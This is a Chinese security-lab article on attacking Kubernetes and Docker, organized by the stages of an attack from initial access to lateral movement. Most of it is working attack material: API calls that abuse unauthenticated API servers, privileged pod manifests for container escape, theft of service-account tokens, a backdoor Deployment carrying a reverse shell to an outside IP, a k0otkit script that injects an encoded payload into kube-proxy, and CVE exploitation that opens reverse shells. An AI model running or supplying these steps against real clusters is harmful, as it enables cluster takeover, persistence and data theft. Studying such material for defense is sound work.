【技术推荐】云原生之Kubernetes安全

渗透技巧 2年前 (2021) admin
878 0 0

随着越来越多企业踏上上云的步伐,在攻防演练中常常碰到云相关的场景,例如:公有云、私有云、混合云、虚拟化集群等。以往渗透路径是「外网突破 -> 提权 -> 权限维持 -> 信息收集 -> 横向移动 -> 循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:


● 通过虚拟机攻击云管理平台,利用管理平台控制所有机器。

● 通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器。

● 利用 KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台。


目前互联网上针对云原生场景下的攻击手法大都零零散散,仅有少部分厂商发布过相关矩阵技术,但都没有过多的细节展示,本文基于微软发布的 Kubernetes 威胁矩阵进行扩展,将深入介绍相关的具体攻击方法。

【技术推荐】云原生之Kubernetes安全

红色标志是攻击者重点关注的技术


初始访问


● API Server 未授权访问

● kubelet 未授权访问

● Docker Daemon 公网暴露

● K8s configfile 泄露


API Server未授权访问

API Server 作为 K8s 集群的管理入口,通常使用 80806443 端口,其中 8080 端口无需认证,6443端口需要认证且有 TLS 保护。如果开发者使用 8080 端口,并将其暴露在公网上,攻击者就可以通过该端口的 API,直接对集群下发指令。


另一种场景是运维人员配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。

#查看podshttps://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500

#创建特权容器https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}

#执行命令https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami

创建特权容器详细解释:

【技术推荐】云原生之Kubernetes安全

创建特权容器


Docker Daemon 公网暴露

DockerC/S 模式工作,其中 docker daemon 服务在后台运行,负责管理容器的创建、运行和停止操作。

Linux主机上,docker daemon监听在/var/run/docker.sock中创建的unix socket2375 端口用于未认证的 HTTP 通信,2376 用于可信 HTTPS 通信。

在最初版本安装 Docker 时默认会把 2375 端口对外开放,目前默认只允许本地访问。

管理员开启远程访问的配置如下:

#开启远程访问vim /lib/systemd/system/docker.serviceExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock

Docker Daemon未授权访问的检测与利用:

#探测是否访问未授权访问curl http://192.168.238.129:2375/infodocker -H tcp://192.168.238.129:2375 info

#推荐使用这种方式,操作方便。export DOCKER_HOST="tcp://192.168.238.129:2375"

Docker Daemon未授权实战案例:

【技术推荐】云原生之Kubernetes安全


K8s configfile 泄露

K8s configfile 作为 K8s 集群的管理凭证,其中包含有关 K8s 集群的详细信息(API Server、登录凭证)。

如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到 Github的代码等),就可以直接通过 API Server 接管 K8s 集群,带来风险隐患。


用户凭证保存在 kubeconfig 文件中,kubectl 通过以下顺序来找到 kubeconfig 文件:

1. 如果提供了--kubeconfig参数,就使用提供的 kubeconfig 文件

2. 如果没有提供--kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件

3. 如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config


拿到K8s configfile完整利用流程:

K8s configfile –> 创建后门Pod/挂载主机路径 –> 通过Kubectl 进入容器 –> 利用挂载目录逃逸

#Linux安装kubectlcurl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#内容放入config、或指定选项,需要修改Server地址kubectl --kubeconfig k8s.yaml
#获取已接取的镜像kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' 'n' |sort |uniq -c
#创建Pod pod.yaml,将宿主机根目录挂载host文件apiVersion: v1kind: Podmetadata: name: test-444spec: containers: - name: test-444 image: nginx:1.14.2 volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory#在default命名空间中创建podkubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
#进入容器中kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true
#切换bash,逃逸成功cd /hostchroot ./ bash


执行


● 利用Service Account

   ○ CURL方式请求

    ○ kubectl方式请求


利用Service Account

K8s 集群创建的 Pod 中,容器内部默认携带 K8s Service Account的认证凭据,路径为:/run/secrets/kubernetes.io/serviceaccount/token


如运维配置不当没有设置 RBAC (基于角色的访问控制),那么攻击者就可以通过 Pod 获取到 Token 进行API Server 认证。


在较低版本 v1.15.11 中, Kubernetes 默认是不会开启 RBAC 控制,从 1.16 版本起,默认启用 RBAC 访问控制策略。从 1.18 开始,RBAC 已作为稳定的功能。


下面就是利用 Pod 中的 Toke 访问 API Server 的一种场景:

#指向内部 API 服务器主机名export APISERVER=https://${KUBERNETES_SERVICE_HOST}
#设置 ServiceAccount 令牌的路径export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#读取 pods 命名空间并将其设置为变量。export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)#读取 ServiceAccount 不记名令牌export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# CACERT 路径export CACERT=${SERVICEACCOUNT}/ca.crt
执行以下命令查看当前集群中所有Namespaces。curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
#写入yaml,创建特权Podcat > nginx-pod.yaml << EOFapiVersion: v1kind: Podmetadata: name: test-444spec: containers: - name: test-444 image: nginx:1.14.2 volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: DirectoryEOF
#创建podcurl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
#查看信息curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/default/pods/nginx
#执行命令curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-lorapi/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true


持久化


●  DaemonSets、Deployments

●  Shadow API

●  Rootkit

●  cronjob持久化


Deployment

创建容器时,通过启用 DaemonSetsDeployments,可以使容器和子容器即使被清理掉了也可以恢复,攻击者经常利用这个特性进行持久化,涉及的概念有:

● ReplicationController(RC)

ReplicationController 确保在任何时候都有特定数量的 Pod 副本处于运行状态。

● Replication Set(RS)

Replication Set 简称RS,官方已经推荐我们使用 RSDeployment 来代替 RC 了,实际上 RSRC 的功能基本一致,目前唯一的一个区别就是 RC 只支持基于等式的 selector

● Deployment

主要职责和 RC 一样,的都是保证 Pod 的数量和健康,二者大部分功能都是完全一致的,可以看成是一个升级版的 RC 控制器。官方组件 kube-dnskube-proxy 也都是使用的Deployment 来管理。


这里使用Deployment来部署后门

#dep.yamlapiVersion: apps/v1kind: Deployment  #确保在任何时候都有特定数量的Pod副本处于运行状态metadata:  name: nginx-deploy  labels:    k8s-app: nginx-demospec:  replicas: 3  #指定Pod副本数量  selector:    matchLabels:      app: nginx  template:    metadata:      labels:        app: nginx    spec:      hostNetwork: true      hostPID: true      containers:      - name: nginx        image: nginx:1.7.9        imagePullPolicy: IfNotPresent        command: ["bash"] #反弹Shell        args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]        securityContext:          privileged: true #特权模式        volumeMounts:        - mountPath: /host          name: host-root      volumes:      - name: host-root        hostPath:          path: /          type: Directory
#创建kubectl create -f dep.yaml

Shadow API Server

如果部署了一个shadow api server,那么该api server具有和集群中现在的api server一致的功能。同时开启了全部k8s权限,接受匿名请求且不保存审计日志,这将方便攻击者无痕迹的管理整个集群以及进行后续渗透行动。


Shadow API Server的配置与利用:

配置文件路径:

/etc/systemd/system/kube-apiserver-test.service

#一键部署Shadow apiserver./cdk run k8s-shadow-apiserver default

#一键部署将在配置文件中添加了如下选项:--allow-privileged--insecure-port=9443--insecure-bind-address=0.0.0.0--secure-port=9444--anonymous-auth=true--authorization-mode=AlwaysAllow

#kcurl访问与利用./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets


Rootkit

这里介绍一个 k8srootkitk0otkit  是一种通用的后渗透技术,可用于对 Kubernetes 集群的渗透。使用 k0otkit,您可以以快速、隐蔽和连续的方式(反向 shell)操作目标 Kubernetes 集群中的所有节点。


K0otkit使用到的技术:

 DaemonSetSecret资源(快速持续反弹、资源分离)

● kube-proxy镜像(就地取材)

● 动态容器注入(高隐蔽性)

● Meterpreter(流量加密)

● 无文件攻击(高隐蔽性)

#生成k0otkit./pre_exp.sh
#监听./handle_multi_reverse_shell.sh

k0otkit.sh的内容复制到master执行:

volume_name=cachemount_path=/var/kube-proxy-cachectr_name=kube-proxy-cachebinary_file=/usr/local/bin/kube-proxy-cachepayload_name=cachesecret_name=proxy-cachesecret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')# create payload secretcat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -apiVersion: v1kind: Secretmetadata: name: $secret_name namespace: kube-systemtype: Opaquedata: $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy podkubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | sed "$volume_line_num a - name: $volume_namen hostPath:n path: /n type: Directoryn" | sed "$ctr_line_num a - name: $ctr_namen image: $imagen imagePullPolicy: IfNotPresentn command: ["sh"]n args: ["-c", "echo $$payload_name | perl -e 'my $n=qq(); my $fd=syscall(319, $n, 1); open($FH, qq(>&=).$fd); select((select($FH), $|=1)[0]); print $FH pack q/H*/,; my $pid = fork(); if (0 != $pid) { wait }; if (0 == $pid){system(qq(/proc/$$$$/fd/$fd))}'"]n env:n - name: $payload_namen valueFrom:n secretKeyRef:n name: $secret_namen key: $secret_data_namen securityContext:n privileged: truen volumeMounts:n - mountPath: $mount_pathn name: $volume_name" | kubectl --kubeconfig /root/.kube/config replace -f -


cronjob持久化

CronJob  用于执行周期性的动作,例如备份、报告生成等,攻击者可以利用此功能持久化。

apiVersion: batch/v1kind: CronJob  #使用CronJob对象metadata:  name: hellospec:  schedule: "*/1 * * * *" #每分钟执行一次  jobTemplate:    spec:      template:        spec:          containers:          - name: hello            image: busybox            imagePullPolicy: IfNotPresent            command:            - /bin/sh            - -c            - #反弹Shell或者木马          restartPolicy: OnFailure


权限提升


● 特权容器逃逸

● Docker漏洞

● Linux Capabilities逃逸


特权容器逃逸

当容器启动加上--privileged选项时,容器可以访问宿主机上所有设备。

而K8s配置文件启用了privileged: true:

spec:containers:- name: ubuntuimage: ubuntu:latestsecurityContext:privileged: true

实战案例:

通过漏洞获取WebShell,查看根目录存在.dockerenv,可通过fdisk -l查看磁盘目录,进行挂载目录逃逸:

#Webshell下操作fdisk -lmkdir /tmp/testmount /dev/sda3 /tmp/testchroot /tmp/test bash
【技术推荐】云原生之Kubernetes安全


Docker漏洞

这里介绍两个知名的docker逃逸漏洞。


CVE-2020-15257:

Containerd 1.3.9版本之前和1.4.0~1.4.2版本,使用了--host网络模式,会造成containerd-shim API暴露,通过调用API功能实现逃逸。


Host模式特点:

● 共享宿主机网络

● 网络性能无损耗

● 各容器网络无隔离

● 网络资源无法分别统计

● 端口管理困难

● 不支持端口映射

#判断是否使用host模式cat /proc/net/unix | grep 'containerd-shim'
【技术推荐】云原生之Kubernetes安全
#反弹宿主机的shell到远端服务器./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455
【技术推荐】云原生之Kubernetes安全


CVE-2019-5736:

runc动态编译时,会从容器镜像中载入动态链接库,导致加载恶意动态库;当打开/prco/self/exerunc时,会执行恶意动态链接库中的恶意程序,由于恶意程序继承runc打开的文件句柄,可以通过该文件句柄替换host上的runc

此后,再次执行runc相关的命令,则会产生逃逸。


版本漏洞:

docker version <=18.09.2RunC version <=1.0-rc6


利用过程:

#下载POChttps://github.com/Frichetten/CVE-2019-5736-PoC

#编译CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

利用成功是将/etc/shadow文件复制到/tmp/目录下

#将编译的main复制到docker容器中,实战是用WebShell上传docker cp main name:/homecd /home/chmod 777 main./main#此时等管理员进入容器将触发:
【技术推荐】云原生之Kubernetes安全

或将第16行改为反弹Shell,获得宿主机权限。

【技术推荐】云原生之Kubernetes安全


Capabilities

CapabilitiesLinux一种安全机制,是在Linux内核2.2之后引入的,主要作用是权限更细粒度的控制。容器社区一直在努力将纵深防御、最小权限等理念和原则落地。

目前Docker已经将Capabilities黑名单机制改为了默认禁止所有Capabilities,再以白名单方式赋予容器运行所需的最小权限。

#查看Capabilitiescat /proc/self/status | grep CapEffcapsh --print

Capabilities允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

 cap_sys_ptrace-container

 cap_sys_admin-container

 cap_dac_read_search-container

实际场景不多,逃逸方法参考挂载目录方式。


探测


 内网扫描

 K8s常用端口探测

 集群内部网络


集群内网扫描

Kubernetes的网络中存在4种主要类型的通信

 同一Pod内的容器间通信

 各Pod彼此间通信

 PodService间的通信

集群外部的流量与Service间的通信。

所以和常规内网渗透无区别,nmapmasscan扫描


K8s常用端口探测

【技术推荐】云原生之Kubernetes安全


集群内部网络

 Flannel网络插件默认使用10.244.0.0/16网络

 Calico默认使用192.168.0.0/16网络


横向移动


污点(Taint)横向渗透

污点是K8s高级调度的特性,用于限制哪些Pod可以被调度到某一个节点。一般主节点包含一个污点,这个污点是阻止Pod调度到主节点上面,除非有Pod能容忍这个污点。而通常容忍这个污点的 Pod都是系统级别的Pod,例如kube-system

【技术推荐】云原生之Kubernetes安全

—个pod只有容忍了节点的污点,才能被调度到该节点上面


控制Pod创建时候的污点来向集群内的节点进行喷射创建。

#Node中查看节点信息[root@node1 ~]# kubectl get nodesNAME              STATUS                     ROLES    AGE   VERSION192.168.238.129   Ready,SchedulingDisabled   master   30d   v1.21.0192.168.238.130   Ready,SchedulingDisabled   master   30d   v1.21.0192.168.238.131   Ready                      node     30d   v1.21.0192.168.238.132   Ready                      node     30d   v1.21.0#确认Master节点的容忍度[root@node1 ~]# kubectl describe nodes 192.168.238.130Name:               192.168.238.130Roles:              masterLabels:             beta.kubernetes.io/arch=amd64                    beta.kubernetes.io/os=linux                    kubernetes.io/arch=amd64                    kubernetes.io/hostname=192.168.238.130                    kubernetes.io/os=linux                    kubernetes.io/role=masterAnnotations:        flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}                    flannel.alpha.coreos.com/backend-type: vxlan                    flannel.alpha.coreos.com/kube-subnet-manager: true                    flannel.alpha.coreos.com/public-ip: 192.168.238.130                    node.alpha.kubernetes.io/ttl: 0                    volumes.kubernetes.io/controller-managed-attach-detach: trueCreationTimestamp:  Tue, 14 Sep 2021 17:41:30 +0800Taints:             node.kubernetes.io/unschedulable:NoSchedule

#创建带有容忍参数的Podkubectl create -f control-master.yaml
#control-master.yaml内容:apiVersion: v1kind: Podmetadata: name: control-master-15spec: tolerations: - key: node.kubernetes.io/unschedulable operator: Exists effect: NoSchedule containers: - name: control-master-15 image: ubuntu:18.04 command: ["/bin/sleep", "3650d"] volumeMounts: - name: master mountPath: /master volumes: - name: master hostPath: path: / type: Directory
【技术推荐】云原生之Kubernetes安全


结论


 目前黑产团伙通过批量扫描然后利用未授权进行挖矿。

 当前攻防技术处于初级阶段,但随着云原生攻击武器的发展,攻击门槛也会相应降低。

 虚拟机/容器逃逸攻击、供应链攻击等新型技术攻击方式,将会呈现出快速增长的趋势,此类攻击难度很高,带来的危害和影响也很大。

 私有云部署在企业业务生产网,云的底座网络、物理设备与业务网络在同一安全域,大多时候缺乏有效隔离。

 私有云产品属于定制开发,使用大量第三方组件,会随着时间和安全研究人员的研究而暴露。


参考链接


1. TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like Attack

https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes–nearly-50-000-ips-compromised.html


2. Threat matrix for Kubernetes

https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/


3. Kubernetes Attack Surface

https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface


4. Attack methods and defenses on Kubernetes

https://dione.lib.unipi.gr/xmlui/handle/unipi/12888


5. k0otkit

https://github.com/Metarget/k0otkit


6. CVE-2019-5736-Poc

https://github.com/Frichetten/CVE-2019-5736-PoC


7. 修复Docker操作系统命令注入漏洞公告(CVE-2019-5736)

https://support.huaweicloud.com/bulletin-cce/cce_bulletin_0015.html


深信服千里目安全实验室

【技术推荐】云原生之Kubernetes安全

深信服科技旗下安全实验室,致力于网络安全攻防技术的研究和积累,深度洞察未知网络安全威胁,解读前沿安全技术。

● 扫码关注我们

原文始发于微信公众号(深信服千里目安全实验室):【技术推荐】云原生之Kubernetes安全

版权声明:admin 发表于 2021年12月18日 上午10:00。
转载请注明:【技术推荐】云原生之Kubernetes安全 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...